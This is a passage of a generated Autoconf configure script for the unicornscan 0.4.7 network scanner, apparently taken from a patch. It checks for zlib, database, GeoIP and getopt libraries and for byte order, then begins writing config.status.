echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_z_compress=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_z_compress=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_z_compress" >&5 +echo "${ECHO_T}$ac_cv_lib_z_compress" >&6; } +if test $ac_cv_lib_z_compress = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBZ 1 +_ACEOF + + LIBS="-lz $LIBS" + +fi + + MY_LDFLAGS="-L${MYSQL_LIB_DIR}" + MY_CPPFLAGS="-I${MYSQL_INC_DIR}" + DBTYPES="${DBTYPES} mysql" + mysql="yes" + fi + fi +fi + +default_directory="/usr /usr/local /usr/local/pgsql /usr/local/postgresql" + + +# Check whether --with-pgsql was given. +if test "${with_pgsql+set}" = set; then + withval=$with_pgsql; with_pgsql="$withval" +else + with_pgsql=no +fi + +if test "$with_pgsql" != "no"; then + if test "$with_pgsql" = "yes"; then + pgsql_directory="$default_directory"; + pgsql_fail="yes" + elif test -d $withval; then + pgsql_directory="$withval" + pgsql_fail="no" + elif test "$with_pgsql" = ""; then + pgsql_directory="$default_directory"; + pgsql_fail="no" + fi + { echo "$as_me:$LINENO: checking for PostgreSQL" >&5 +echo $ECHO_N "checking for PostgreSQL... $ECHO_C" >&6; } + for i in $pgsql_directory; do + if test -r $i/include/libpq-fe.h; then + PGSQL_DIR=$i + PGSQL_INC_DIR=$i/include + fi + done + if test -z "$PGSQL_DIR"; then + if test "$pgsql_fail" != "no"; then + tmp="" + for i in $pgsql_directory; do + tmp="$tmp $i/include" + done + { { echo "$as_me:$LINENO: error: cant find PostgreSQL header libpq-fe.h" >&5 +echo "$as_me: error: cant find PostgreSQL header libpq-fe.h" >&2;} + { (exit rerun configure with --with-pgsql=/path/to/pgsql/prefix); exit rerun configure with --with-pgsql=/path/to/pgsql/prefix; }; } + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + fi + else + for i in lib lib/postgresql; do + str="$PGSQL_DIR/$i/libpq.*" + for j in `echo $str`; do + if test -r $j; then + PGSQL_LIB_DIR="$PGSQL_DIR/$i" + break 2 + fi + done + done + if test -z "$PGSQL_LIB_DIR"; then + if test "$pgsql_fail" != "no"; then + { { echo "$as_me:$LINENO: error: cant find PostgreSQL pq library" >&5 +echo "$as_me: error: cant find PostgreSQL pq library" >&2;} + { (exit rerun configure with --with-pgsql=/path/to/pgsql/prefix); exit rerun configure with --with-pgsql=/path/to/pgsql/prefix; }; } + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + fi + else + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + cat >>confdefs.h <<\_ACEOF +#define WITH_PGSQL 1 +_ACEOF + + PG_LDFLAGS="${LDFLAGS} -L${PGSQL_LIB_DIR}" + PG_CPPFLAGS="${CPPFLAGS} -I${PGSQL_INC_DIR}" + DBTYPES="${DBTYPES} pgsql" + pgsql="yes" + fi + fi +fi + + +{ echo "$as_me:$LINENO: checking for GeoIP_open in -lGeoIP" >&5 +echo $ECHO_N "checking for GeoIP_open in -lGeoIP... $ECHO_C" >&6; } +if test "${ac_cv_lib_GeoIP_GeoIP_open+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lGeoIP $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char GeoIP_open (); +int +main () +{ +return GeoIP_open (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_GeoIP_GeoIP_open=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_GeoIP_GeoIP_open=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_GeoIP_GeoIP_open" >&5 +echo "${ECHO_T}$ac_cv_lib_GeoIP_GeoIP_open" >&6; } +if test $ac_cv_lib_GeoIP_GeoIP_open = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBGEOIP 1 +_ACEOF + + LIBS="-lGeoIP $LIBS" + +fi + + + + + + + + + +{ echo "$as_me:$LINENO: checking for getopt_long" >&5 +echo $ECHO_N "checking for getopt_long... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#include +#include +int +main () +{ +getopt_long(0,NULL,NULL,NULL,NULL); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } +cat >>confdefs.h <<\_ACEOF +#define WITH_LONGOPTS 1 +_ACEOF + +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + +{ echo "$as_me:$LINENO: checking whether byte ordering is bigendian" >&5 +echo $ECHO_N "checking whether byte ordering is bigendian... $ECHO_C" >&6; } +if test "${ac_cv_c_bigendian+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # See if sys/param.h defines the BYTE_ORDER macro. +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include + +int +main () +{ +#if !BYTE_ORDER || !BIG_ENDIAN || !LITTLE_ENDIAN + bogus endian macros +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + # It does; now see whether it defined to BIG_ENDIAN or not. +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include + +int +main () +{ +#if BYTE_ORDER != BIG_ENDIAN + not big endian +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_c_bigendian=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_c_bigendian=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # It does not; compile a test program. +if test "$cross_compiling" = yes; then + # try to guess the endianness by grepping values into an object file + ac_cv_c_bigendian=unknown + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +short int ascii_mm[] = { 0x4249, 0x4765, 0x6E44, 0x6961, 0x6E53, 0x7953, 0 }; +short int ascii_ii[] = { 0x694C, 0x5454, 0x656C, 0x6E45, 0x6944, 0x6E61, 0 }; +void _ascii () { char *s = (char *) ascii_mm; s = (char *) ascii_ii; } +short int ebcdic_ii[] = { 0x89D3, 0xE3E3, 0x8593, 0x95C5, 0x89C4, 0x9581, 0 }; +short int ebcdic_mm[] = { 0xC2C9, 0xC785, 0x95C4, 0x8981, 0x95E2, 0xA8E2, 0 }; +void _ebcdic () { char *s = (char *) ebcdic_mm; s = (char *) ebcdic_ii; } +int +main () +{ + _ascii (); _ebcdic (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + if grep BIGenDianSyS conftest.$ac_objext >/dev/null ; then + ac_cv_c_bigendian=yes +fi +if grep LiTTleEnDian conftest.$ac_objext >/dev/null ; then + if test "$ac_cv_c_bigendian" = unknown; then + ac_cv_c_bigendian=no + else + # finding both strings is unlikely to happen, but who knows? + ac_cv_c_bigendian=unknown + fi +fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +int +main () +{ + + /* Are we little or big endian? From Harbison&Steele. */ + union + { + long int l; + char c[sizeof (long int)]; + } u; + u.l = 1; + return u.c[sizeof (long int) - 1] == 1; + + ; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_c_bigendian=no +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_c_bigendian=yes +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_bigendian" >&5 +echo "${ECHO_T}$ac_cv_c_bigendian" >&6; } +case $ac_cv_c_bigendian in + yes) + cat >>confdefs.h <<\_ACEOF +#define CPU_BIGENDIAN 1 +_ACEOF + ;; + no) + cat >>confdefs.h <<\_ACEOF +#define CPU_LITTLEENDIAN 1 +_ACEOF + ;; + *) + { { echo "$as_me:$LINENO: error: no no no you dont" >&5 +echo "$as_me: error: no no no you dont" >&2;} + { (exit 1); exit 1; }; } ;; +esac + + + +U_CDEFS="${DEFS} ${U_CDEFS}" +U_COPTS="${CFLAGS} ${U_COPTS}" +U_CINCS="${CPPFLAGS} ${U_CINCS}" +U_LDFLAGS="${LDFLAGS} ${U_LDFLAGS}" +U_LIBS="${U_LIBS} ${UNILDADD}" + + + + + + + +sendername=$sendername + +listenername=$listenername + +targetname=$targetname + +cat >>confdefs.h <<_ACEOF +#define SENDERNAME "$sendername" +_ACEOF + +cat >>confdefs.h <<_ACEOF +#define TARGETNAME "$targetname" +_ACEOF + +cat >>confdefs.h <<_ACEOF +#define LISTENERNAME "$listenername" +_ACEOF + + +ac_config_files="$ac_config_files Makefile Makefile.inc etc/Makefile libs/Makefile docs/Makefile selinux/Makefile ext_src/Makefile src/Makefile src/packageinfo.h src/unilib/Makefile src/scan_progs/Makefile src/scan_progs/tests/Makefile src/tools/Makefile src/tools/p0f/Makefile src/output_modules/Makefile src/output_modules/database/Makefile src/payload_modules/Makefile src/payload_modules/libunirainbow/Makefile src/report_modules/Makefile src/report_modules/osdetect/Makefile src/parse/Makefile" + + +cat >confcache <<\_ACEOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs, see configure's option --config-cache. +# It is not useful on other systems. If it contains results you don't +# want to keep, you may remove or edit it. +# +# config.status only pays attention to the cache file if you give it +# the --recheck option to rerun configure. +# +# `ac_cv_env_foo' variables (set or unset) will be overridden when +# loading this file, other *unset* `ac_cv_foo' will be assigned the +# following values. + +_ACEOF + +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, we kill variables containing newlines. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +( + for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { echo "$as_me:$LINENO: WARNING: Cache variable $ac_var contains a newline." >&5 +echo "$as_me: WARNING: Cache variable $ac_var contains a newline." >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + *) $as_unset $ac_var ;; + esac ;; + esac + done + + (set) 2>&1 | + case $as_nl`(ac_space=' '; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + # `set' does not quote correctly, so add quotes (double-quote + # substitution turns \\\\ into \\, and sed turns \\ into \). + sed -n \ + "s/'/'\\\\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" + ;; #( + *) + # `set' quotes correctly as required by POSIX, so do not add quotes. + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) | + sed ' + /^ac_cv_env_/b end + t clear + :clear + s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ + t end + s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ + :end' >>confcache +if diff "$cache_file" confcache >/dev/null 2>&1; then :; else + if test -w "$cache_file"; then + test "x$cache_file" != "x/dev/null" && + { echo "$as_me:$LINENO: updating cache $cache_file" >&5 +echo "$as_me: updating cache $cache_file" >&6;} + cat confcache >$cache_file + else + { echo "$as_me:$LINENO: not updating unwritable cache $cache_file" >&5 +echo "$as_me: not updating unwritable cache $cache_file" >&6;} + fi +fi +rm -f confcache + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +DEFS=-DHAVE_CONFIG_H + +ac_libobjs= +ac_ltlibobjs= +for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue + # 1. Remove the extension, and $U if already installed. + ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' + ac_i=`echo "$ac_i" | sed "$ac_script"` + # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR + # will be set to the directory where LIBOBJS objects are built. + ac_libobjs="$ac_libobjs \${LIBOBJDIR}$ac_i\$U.$ac_objext" + ac_ltlibobjs="$ac_ltlibobjs \${LIBOBJDIR}$ac_i"'$U.lo' +done +LIBOBJS=$ac_libobjs + +LTLIBOBJS=$ac_ltlibobjs + + + +: ${CONFIG_STATUS=./config.status} +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files $CONFIG_STATUS" +{ echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5 +echo "$as_me: creating $CONFIG_STATUS" >&6;} +cat >$CONFIG_STATUS <<_ACEOF +#! $SHELL +# Generated by $as_me. +# Run this file to recreate the current configuration. +# Compiler output produced by configure, useful for debugging +# configure, is in config.log if it exists. + +debug=false +ac_cs_recheck=false +ac_cs_silent=false +SHELL=\${CONFIG_SHELL-$SHELL} +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +## --------------------- ## +## M4sh Initialization. ## +## --------------------- ## + +# Be Bourne compatible +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in *posix*) set -o posix;; esac +fi +BIN_SH=xpg4; export BIN_SH # for Tru64 +DUALCASE=1; export DUALCASE # for MKS sh + + +# PATH needs CR +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + echo "#! /bin/sh" >conf$$.sh + echo "exit 0" >>conf$$.sh + chmod +x conf$$.sh + if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then + PATH_SEPARATOR=';' + else + PATH_SEPARATOR=: + fi + rm -f conf$$.sh +fi + +# Support unset when possible. +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + as_unset=unset +else + as_unset=false +fi + + +# IFS +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent editors from complaining about space-tab. +# (If _AS_PATH_WALK were called with IFS unset, it would disable word +# splitting by setting IFS to empty value.) +as_nl=' +' +IFS=" "" $as_nl" + +# Find who we are. Look in the path if we contain no directory separator. +case $0 in + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break +done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + { (exit 1); exit 1; } +fi + +# Work around bugs in pre-3.0 UWIN ksh. +for as_var in ENV MAIL MAILPATH +do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var +done +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +for as_var in \ + LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ + LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ + LC_TELEPHONE LC_TIME +do + if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then + eval $as_var=C; export $as_var + else + ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var + fi +done + +# Required to use basename. +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + + +# Name of the executable. +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# CDPATH. +$as_unset CDPATH + + + + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2" || { + + # Create $as_me.lineno as a copy of $as_myself, but with $LINENO + # uniformly replaced by the line number. The first 'sed' inserts a + # line-number line after each line using $LINENO; the second 'sed' + # does the real work. The second script uses 'N' to pair each + # line-number line with the line containing $LINENO, and appends + # trailing '-' during substitution so that $LINENO is not a special + # case at line end. + # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the + # scripts with optimization help from Paolo Bonzini. Blame Lee + # E. McMahon (1931-1989) for sed's syntax. :-) + sed -n ' + p + /[$]LINENO/= + ' <$as_myself | + sed ' + s/[$]LINENO.*/&-/ + t lineno + b + :lineno + N + :loop + s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ + t loop + s/-\n.*// + ' >$as_me.lineno && + chmod +x "$as_me.lineno" || + { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2 + { (exit 1); exit 1; }; } + + # Don't try to exec as it changes $[0], causing all sort of problems + # (the dirname of $[0] is not the place where we might find the + # original and so on. Autoconf is especially sensitive to this). + . "./$as_me.lineno" + # Exit status is that of the last command. + exit +} + + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in +-n*) + case `echo 'x\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + *) ECHO_C='\c';; + esac;; +*) + ECHO_N='-n';; +esac + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir +fi +echo >conf$$.file +if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. + # In both cases, we have to default to `cp -p'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -p' +elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln +else + as_ln_s='cp -p' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + +if mkdir -p . 2>/dev/null; then + as_mkdir_p=: +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + +# Find out whether ``test -x'' works. Don't use a zero-byte file, as +# systems may use methods other than mode bits to determine executability. +cat >conf$$.file <<_ASEOF +#! /bin/sh +exit 0 +_ASEOF +chmod +x conf$$.file +if test -x conf$$.file >/dev/null 2>&1; then + as_executable_p="test -x" +else + as_executable_p=: +fi +rm -f conf$$.file + +# Sed expression to map a string onto a valid CPP name. +as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" + +# Sed expression to map a string onto a valid variable name. +as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" + + +exec 6>&1 + +# Save the log message, to keep $[0] and so on meaningful, and to +# report actual input values of CONFIG_FILES etc. instead of their +# values after options handling. +ac_log=" +This file was extended by unicornscan $as_me 0.4.7, which was +generated by GNU Autoconf 2.60. Invocation command line was + + CONFIG_FILES = $CONFIG_FILES + CONFIG_HEADERS = $CONFIG_HEADERS + 